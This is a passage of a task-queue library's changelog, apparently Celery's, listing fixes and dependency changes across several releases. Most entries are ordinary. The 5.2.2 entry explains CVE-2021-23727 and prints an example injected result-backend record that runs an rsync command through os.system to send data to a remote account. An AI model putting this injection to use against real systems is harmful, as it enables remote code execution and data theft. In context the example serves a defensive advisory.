2742 - beat: Suppress banner output with the quiet option (#7608).
2743 - Fix honor Django's TIME_ZONE setting.
2744 - Don't warn about DEBUG=True for Django.
2745 - Fixed the on_after_finalize cannot access tasks due to deadlock.
2746 - Bump kombu>=5.3.0b1,<6.0.
2747 - Make default worker state limits configurable (#7609).
2748 - Only clear the cache if there are no active writers.
2749 - Billiard 4.0.1
2750
2751 .. _version-5.3.0a1:
2752
2753 5.3.0a1
2754 =======
2755
2756 :release-date: 2022-06-29 5:15 P.M UTC+6:00
2757 :release-by: Asif Saif Uddin
2758
2759 - Remove Python 3.4 compatibility code.
2760 - call ping to set connection attr for avoiding redis parse_response error.
2761 - Use importlib instead of deprecated pkg_resources.
2762 - fix #7245 uid duplicated in command params.
2763 - Fix subscribed_to maybe empty (#7232).
2764 - Fix: Celery beat sleeps 300 seconds sometimes even when it should run a task within a few seconds (e.g. 13 seconds) #7290.
2765 - Add security_key_password option (#7292).
2766 - Limit elasticsearch support to below version 8.0.
2767 - try new major release of pytest 7 (#7330).
2768 - broker_connection_retry should no longer apply on startup (#7300).
2769 - Remove __ne__ methods (#7257).
2770 - fix #7200 uid and gid.
2771 - Remove exception-throwing from the signal handler.
2772 - Add mypy to the pipeline (#7383).
2773 - Expose more debugging information when receiving unknown tasks. (#7405)
2774 - Avoid importing buf_t from billiard's compat module as it was removed.
2775 - Avoid negating a constant in a loop. (#7443)
2776 - Ensure expiration is of float type when migrating tasks (#7385).
2777 - load_extension_class_names - correct module_name (#7406)
2778 - Bump pymongo[srv]>=4.0.2.
2779 - Use inspect.getgeneratorstate in asynpool.gen_not_started (#7476).
2780 - Fix test with missing .get() (#7479).
2781 - azure-storage-blob>=12.11.0
2782 - Make start_worker, setup_default_app reusable outside of pytest.
2783 - Ensure a proper error message is raised when id for key is empty (#7447).
2784 - Crontab string representation does not match UNIX crontab expression.
2785 - Worker should exit with ctx.exit to get the right exitcode for non-zero.
2786 - Fix expiration check (#7552).
2787 - Use callable built-in.
2788 - Include dont_autoretry_for option in tasks. (#7556)
2789 - fix: Syntax error in arango query.
2790 - Fix custom headers propagation on task retries (#7555).
2791 - Silence backend warning when eager results are stored.
2792 - Reduce prefetch count on restart and gradually restore it (#7350).
2793 - Improve workflow primitive subclassing (#7593).
2794 - test kombu>=5.3.0a1,<6.0 (#7598).
2795 - Canvas Header Stamping (#7384).
2796
2797 .. _version-5.2.7:
2798
2799 5.2.7
2800 =====
2801
2802 :release-date: 2022-5-26 12:15 P.M UTC+2:00
2803 :release-by: Omer Katz
2804
2805 - Fix packaging issue which causes poetry 1.2b1 and above to fail install Celery (#7534).
2806
2807 .. _version-5.2.6:
2808
2809 5.2.6
2810 =====
2811
2812 :release-date: 2022-4-04 21:15 P.M UTC+2:00
2813 :release-by: Omer Katz
2814
2815 - load_extension_class_names - correct module_name (#7433).
2816 This fixes a regression caused by #7218.
2817
2818 .. _version-5.2.5:
2819
2820 5.2.5
2821 =====
2822
2823 :release-date: 2022-4-03 20:42 P.M UTC+2:00
2824 :release-by: Omer Katz
2825
2826 **This release was yanked due to a regression caused by the PR below**
2827
2828 - Use importlib instead of deprecated pkg_resources (#7218).
2829
2830 .. _version-5.2.4:
2831
2832 5.2.4
2833 =====
2834
2835 :release-date: 2022-4-03 20:30 P.M UTC+2:00
2836 :release-by: Omer Katz
2837
2838 - Expose more debugging information when receiving unknown tasks (#7404).
2839
2840 .. _version-5.2.3:
2841
2842 5.2.3
2843 =====
2844
2845 :release-date: 2021-12-29 12:00 P.M UTC+6:00
2846 :release-by: Asif Saif Uddin
2847
2848 - Allow redis >= 4.0.2.
2849 - Upgrade minimum required pymongo version to 3.11.1.
2850 - tested pypy3.8 beta (#6998).
2851 - Split Signature.__or__ into subclasses' __or__ (#7135).
2852 - Prevent duplication in event loop on Consumer restart.
2853 - Restrict setuptools>=59.1.1,<59.7.0.
2854 - Kombu bumped to v5.2.3
2855 - py-amqp bumped to v5.0.9
2856 - Some docs & CI improvements.
2857
2858
2859 .. _version-5.2.2:
2860
2861 5.2.2
2862 =====
2863
2864 :release-date: 2021-12-26 16:30 P.M UTC+2:00
2865 :release-by: Omer Katz
2866
2867 - Various documentation fixes.
2868 - Fix CVE-2021-23727 (Stored Command Injection security vulnerability).
2869
2870 When a task fails, the failure information is serialized in the backend.
2871 In some cases, the exception class is only importable from the
2872 consumer's code base. In this case, we reconstruct the exception class
2873 so that we can re-raise the error on the process which queried the
2874 task's result. This was introduced in #4836.
2875 If the recreated exception type isn't an exception, this is a security issue.
2876 Without the condition included in this patch, an attacker could inject a remote code execution instruction such as:
2877 ``os.system("rsync /data [email protected]:~/data")``
2878 by setting the task's result to a failure in the result backend with the os,
2879 the system function as the exception type and the payload ``rsync /data [email protected]:~/data`` as the exception arguments like so:
2880
2881 .. code-block:: python
2882
2883 {
2884 "exc_module": "os",
2885 'exc_type': "system",
2886 "exc_message": "rsync /data [email protected]:~/data"
2887 }
2888
2889 According to my analysis, this vulnerability can only be exploited if
2890 the producer delayed a task which runs long enough for the
2891 attacker to change the result mid-flight, and the producer has
2892 polled for the task's result.
2893 The attacker would also have to gain access to the result backend.
2894 The severity of this security vulnerability is low, but we still
2895 recommend upgrading.
2896
2897
2898 .. _version-5.2.1:
2899
2900 5.2.1
2901 =====
2902
2903 :release-date: 2021-11-16 8.55 P.M UTC+6:00
2904 :release-by: Asif Saif Uddin
2905
2906 - Fix rstrip usage on bytes instance in ProxyLogger.
2907 - Pass logfile to ExecStop in celery.service example systemd file.
2908 - fix: reduce latency of AsyncResult.get under gevent (#7052)
2909 - Limit redis version: <4.0.0.
2910 - Bump min kombu version to 5.2.2.
2911 - Change pytz>dev to a PEP 440 compliant pytz>0.dev.0.
2912 - Remove dependency to case (#7077).
2913 - fix: task expiration is timezone aware if needed (#7065).
2914 - Initial testing of pypy-3.8 beta to CI.
2915 - Docs, CI & tests cleanups.
2916
2917
2918 .. _version-5.2.0:
2919
2920 5.2.0
2921 =====
2922
2923 :release-date: 2021-11-08 7.15 A.M UTC+6:00
2924 :release-by: Asif Saif Uddin
2925
2926 - Prevent from subscribing to empty channels (#7040)
2927 - fix register_task method.
2928 - Fire task failure signal on final reject (#6980)
2929 - Limit pymongo version: <3.12.1 (#7041)
2930 - Bump min kombu version to 5.2.1
2931
2932 .. _version-5.2.0rc2:
2933
2934 5.2.0rc2
2935 ========
2936
2937 :release-date: 2021-11-02 1.54 P.M UTC+3:00
2938 :release-by: Naomi Elstein
2939
2940 - Bump Python 3.10.0 to rc2.
2941 - [pre-commit.ci] pre-commit autoupdate (#6972).
2942 - autopep8.
2943 - Prevent worker to send expired revoked items upon hello command (#6975).
2944 - docs: clarify the 'keeping results' section (#6979).
2945 - Update deprecated task module removal in 5.0 documentation (#6981).
2946 - [pre-commit.ci] pre-commit autoupdate.
2947 - try python 3.10 GA.
2948 - mention python 3.10 on readme.
2949 - Documenting the default consumer_timeout value for rabbitmq >= 3.8.15.
2950 - Azure blockblob backend parametrized connection/read timeouts (#6978).
2951 - Add as_uri method to azure block blob backend.
2952 - Add possibility to override backend implementation with celeryconfig (#6879).
2953 - [pre-commit.ci] pre-commit autoupdate.
2954 - try to fix deprecation warning.
2955 - [pre-commit.ci] pre-commit autoupdate.
2956 - not needed anyore.
2957 - not needed anyore.
2958 - not used anymore.
2959 - add github discussions forum
2960
2961 .. _version-5.2.0rc1:
2962
2963 5.2.0rc1
2964 ========
2965 :release-date: 2021-09-26 4.04 P.M UTC+3:00
2966 :release-by: Omer Katz
2967
2968 - Kill all workers when main process exits in prefork model (#6942).
2969 - test kombu 5.2.0rc1 (#6947).
2970 - try moto 2.2.x (#6948).
2971 - Prepared Hacker News Post on Release Action.
2972 - update setup with python 3.7 as minimum.
2973 - update kombu on setupcfg.
2974 - Added note about automatic killing all child processes of worker after its termination.
2975 - [pre-commit.ci] pre-commit autoupdate.
2976 - Move importskip before greenlet import (#6956).
2977 - amqp: send expiration field to broker if requested by user (#6957).
2978 - Single line drift warning.
2979 - canvas: fix kwargs argument to prevent recursion (#6810) (#6959).
2980 - Allow to enable Events with app.conf mechanism.
2981 - Warn when expiration date is in the past.
2982 - Add the Framework :: Celery trove classifier.
2983 - Give indication whether the task is replacing another (#6916).
2984 - Make setup.py executable.
2985 - Bump version: 5.2.0b3 → 5.2.0rc1.
2986
2987 .. _version-5.2.0b3:
2988
2989 5.2.0b3
2990 =======
2991
2992 :release-date: 2021-09-02 8.38 P.M UTC+3:00
2993 :release-by: Omer Katz
2994
2995 - Add args to LOG_RECEIVED (fixes #6885) (#6898).
2996 - Terminate job implementation for eventlet concurrency backend (#6917).
2997 - Add cleanup implementation to filesystem backend (#6919).
2998 - [pre-commit.ci] pre-commit autoupdate (#69).
2999 - Add before_start hook (fixes #4110) (#6923).
3000 - Restart consumer if connection drops (#6930).
3001 - Remove outdated optimization documentation (#6933).
3002 - added https verification check functionality in arangodb backend (#6800).
3003 - Drop Python 3.6 support.
3004 - update supported python versions on readme.
3005 - [pre-commit.ci] pre-commit autoupdate (#6935).
3006 - Remove appveyor configuration since we migrated to GA.
3007 - pyugrade is now set to upgrade code to 3.7.
3008 - Drop exclude statement since we no longer test with pypy-3.6.
3009 - 3.10 is not GA so it's not supported yet.
3010 - Celery 5.1 or earlier support Python 3.6.
3011 - Fix linting error.
3012 - fix: Pass a Context when chaining fail results (#6899).
3013 - Bump version: 5.2.0b2 → 5.2.0b3.
3014
3015 .. _version-5.2.0b2:
3016
3017 5.2.0b2
3018 =======
3019
3020 :release-date: 2021-08-17 5.35 P.M UTC+3:00
3021 :release-by: Omer Katz
3022
3023 - Test windows on py3.10rc1 and pypy3.7 (#6868).
3024 - Route chord_unlock task to the same queue as chord body (#6896).
3025 - Add message properties to app.tasks.Context (#6818).
3026 - handle already converted LogLevel and JSON (#6915).
3027 - 5.2 is codenamed dawn-chorus.
3028 - Bump version: 5.2.0b1 → 5.2.0b2.
3029
3030 .. _version-5.2.0b1:
3031
3032 5.2.0b1
3033 =======
3034
3035 :release-date: 2021-08-11 5.42 P.M UTC+3:00
3036 :release-by: Omer Katz
3037
3038 - Add Python 3.10 support (#6807).
3039 - Fix docstring for Signal.send to match code (#6835).
3040 - No blank line in log output (#6838).
3041 - Chords get body_type independently to handle cases where body.type does not exist (#6847).
3042 - Fix #6844 by allowing safe queries via app.inspect().active() (#6849).
3043 - Fix multithreaded backend usage (#6851).
3044 - Fix Open Collective donate button (#6848).
3045 - Fix setting worker concurrency option after signal (#6853).
3046 - Make ResultSet.on_ready promise hold a weakref to self (#6784).
3047 - Update configuration.rst.
3048 - Discard jobs on flush if synack isn't enabled (#6863).
3049 - Bump click version to 8.0 (#6861).
3050 - Amend IRC network link to Libera (#6837).
3051 - Import celery lazily in pytest plugin and unignore flake8 F821, "undefined name '...'" (#6872).
3052 - Fix inspect --json output to return valid json without --quiet.
3053 - Remove celery.task references in modules, docs (#6869).
3054 - The Consul backend must correctly associate requests and responses (#6823).